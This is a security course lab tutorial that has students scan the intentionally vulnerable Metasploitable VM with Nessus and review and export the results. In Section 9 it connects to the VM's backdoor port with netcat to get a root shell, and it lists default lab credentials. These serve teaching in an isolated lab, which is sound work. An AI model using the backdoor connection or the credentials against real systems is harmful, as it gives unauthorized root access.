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(Metasploitable Project: Lesson 6)

{ Scan Metasploitable wish Nessus }


Section 0. Background Information
  1. Metasploitable 
  2. Pre-Requisite Lab  
  3. What is Nessus?
    • Tenable Network Security provides enterprise-class solutions for continuous monitoring and visibility of vulnerabilities, configurations, user activity and system events that impact security and compliance.
    • Nessus features high-speed discovery, configuration auditing, asset profiling, sensitive data discovery and vulnerability analysis of your security posture

  4. Lab Notes
    • In this lab we will do the following:
      1. Run Internal Nessus Scan against the Metasploitable VM
      2. Review Nessus Report
      3. Download Nessus Report

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    • You are on notice, that continuing and/or using this lab outside your "own" test environment is considered malicious and is against the law.
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Section 1: Start Up the Metasploitable VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer

     

  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine

     

  3. Open the Metasploitable VM
    • Instructions:
      1. Navigate to where the Metasploitable VM is located
      2. Click on on the Metasploitable VM
      3. Click on the Open Button

     

  4. Edit the Metasploitable VM
    • Instructions:
      1. Select Metasploitable2-Linux VM
      2. Click Edit virtual machine settings

     

  5. Edit the Metasploitable VM
    • Instructions:
      1. Click on "Network Adapter NAT"
      2. Select the radio button "Bridged: Connected directly to the physical network"
      3. Click on the OK button
    • Warning:
      • By changing from NAT to Bridged opens the VM and network up to potential attacks.
      • To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.

     

  6. Play the Metasploitable VM
    • Instructions:
      1. Click on the Metasploitable VM
      2. Click on Play virtual machine

 

Section 2: Determine Metasploitable IP Address
  1. Logging into Metasploitable
    • Instructions
      1. Username: msfadmin
      2. Password: msfadmin or whatever you changed it to in lesson 1.

     

  2. Change the msfadmin password
    • Instructions:
      1. ifconfig -a
      2. Record Your IP Address
    • Note(FYI):
      • #1, (ifconfig -a) displays all interfaces which are currently available.
      • My IP Address is 192.168.1.91

 

Section 4: Start Up the BackTrack5R1 VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer

     

  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine

     

  3. Open the BackTrack5R1 VM
    • Instructions:
      1. Navigate to where the BackTrack5R1 VM is located
      2. Click on on the BackTrack5R1 VM
      3. Click on the Open Button

     

  4. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings

     

  5. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button

     

  6. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine

     

  7. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.

     

  8. Bring up the GNOME
    • Instructions:
      1. Type startx

     

  9. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window

     

  10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
      2. Record Your IP Address
    • Note(FYI):
      • #1, (ifconfig -a), display all interfaces which are currently available.
      • #2, In my case, my IP address 192.168.1.72.

 

Section 5: Start Up NESSUS
  1. Start Nessus Service
    • Instructions:
      1. /etc/init.d/nessusd start
      2. ps -eaf | grep nessus | grep -v grep
        • ps -eaf: Show me all processes
        • | grep  nessus: Only show me nessus processes.
        • | grep -v grep: Do not show my actual grep process.

 

Section 5: Login To NESSUS
  1. Start Firefox Instance
    • Instructions:
      1. cd /root/firefox/
      2. ./firefox https://127.0.0.1:8834 &
      3. Firefox will soon pop up.
    • Note(FYI):
      • We start Firefox this way, because this is our upgraded instance of Firefox that is compatible with the newest version of Nessus.
      • Command #1, Use (cd) to change directory into (/root/firefox).
      • Command #2, Execute Firefox and Open Nessus (https://127.0.0.1:8834).  Use (&) to send the process to the background and return a command prompt.
     
  2. Invalid Certificate Warning
    • Instructions:
      1. Click the Advanced Button
      2. Click the Add Exception Button
    • Note(FYI):
      • You are receiving this message because Nessus uses a self-signed certificate that is required for the HTTPS protocol. 
      • In other circumstance, it is would be in your best interest to not proceed.
     
  3. Invalid Certificate Warning
    • Instructions:
      1. Check the Permanently store this exception checkbox
      2. Click the Confirm Security Exception Button

     

  4. Login To Nessus
    • Instructions:
      1. Login: admin
      2. Password: Supply Password
      3. Click the Sign In Button
    •  

 

Section 6: Scan Metasploitable (Victim) with NESSUS
  1. Create Scan
    • Instructions:
      1. Click on Scans
      2. Click on the New Scan button

     

  2. Scanner Templates
    • Instructions:
      1. Click on Basic Network Scan

     

  3. Configure Scan
    • Instructions:
      1. Name: metasploitable2
      2. Description: metasploitable2
      3. Folder: My Scans
      4. Scan Targets: 192.168.1.91
      5. Click the Save Button
    • Note(FYI):
      • Replace 192.168.1.91 with the Metasploitable IP Address obtained from (Section 2, Step 2).

     

  4. Launch Scan
    • Instructions:
      1. Click Arrow Icon to Launch Scan

     

  5. View Running Scan
    • Instructions:
      1. Click the running icon to view the active scan
    • Note(FYI):
      • It will take between 3 to 5 minutes for the running icon to turn into a completed icon .

     

Section 7: View Nessus Results
  1. View Vulnerabilities
    • Instructions:
      1. Click on Vulnerabilities
    • Notes(FYI):
      • Red represents the highest vulnerabilities.  Blue represents the lower vulnerabilities.

     

  2. Viewing the Vulnerabilities
    • Instructions:
      1. Notice the scan indicates how many vulnerabilities were found.
        • In my case, there were 104.
      2. The red vulnerabilities are the highest severity.
      3. Click on Rogue Shell Backdoor Detection
    • Note(FYI):
      • A pen tester will have a big smile on their face, if a Rogue Shell Backdoor shows up on the radar.

     

  3. Rogue Shell Backdoor Detection (Description, Solution)
    • Instructions:
      1. Read the Description
      2. Read the Solution
      3. Notice root access was accomplished
    • Note(FYI):
      • #3, Any ideas on how Nessus got root access?

 

Section 8: Download Nessus Report
  1. Produce Report
    • Instructions:
      1. Click on Export Drop Down Menu
      2. Click on CSV

     

  2. Save Report
    • Instructions:
      1. Select the Save File radio button
      2. Click on OK button

 

Section 9: Rogue Shell Backdoor Exploit
  1. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window

     

  2. Accomplish Root Access
    • Note(FYI):
      • Replace 192.168.1.91 with the Metasploitable IP Address obtained from (Section 2, Step 2).
    • Instructions:
      1. nc 192.168.1.91 1524
      2. netstat -naop | grep 1524
      3. whomai
      4. exit
    • Note(FYI):
      • #1, Use NetCat (nc) to connect to Metasploitable (192.168.1.91) over the Rough Shell Backdoor Port (1524).
      • #2, Use (netstat) to do the following: (-n) Show numerical addresses;(-a) Show both listening and non-listening sockets; (-o) Include information related to networking timers; and (-p) Show the PID and name of the program to which each socket belongs.  Notice the ESTABLISHED connection.
      • #3, Use (whoami) to print effective userid.
      • #4, Use (exit) to terminal shell/session to Metasploitable.

 

Section 10: Proof of Lab
  1. Proof of Lab
    • Instructions:
      1. cd /root/Downloads
      2. ls -lrt
      3. grep -i "critical" metasploitable2* | head -3
      4. date
      5. echo "Your Name"
        • Put in your actual name in place of "Your Name"
        • e.g., echo "John Gray"
    • Proof of Lab Instructions
      1. Press the <Ctrl> and <Alt> key at the same time.
      2. Press the <PrtScn> key.
      3. Paste into a word document
      4. Upload to Moodle


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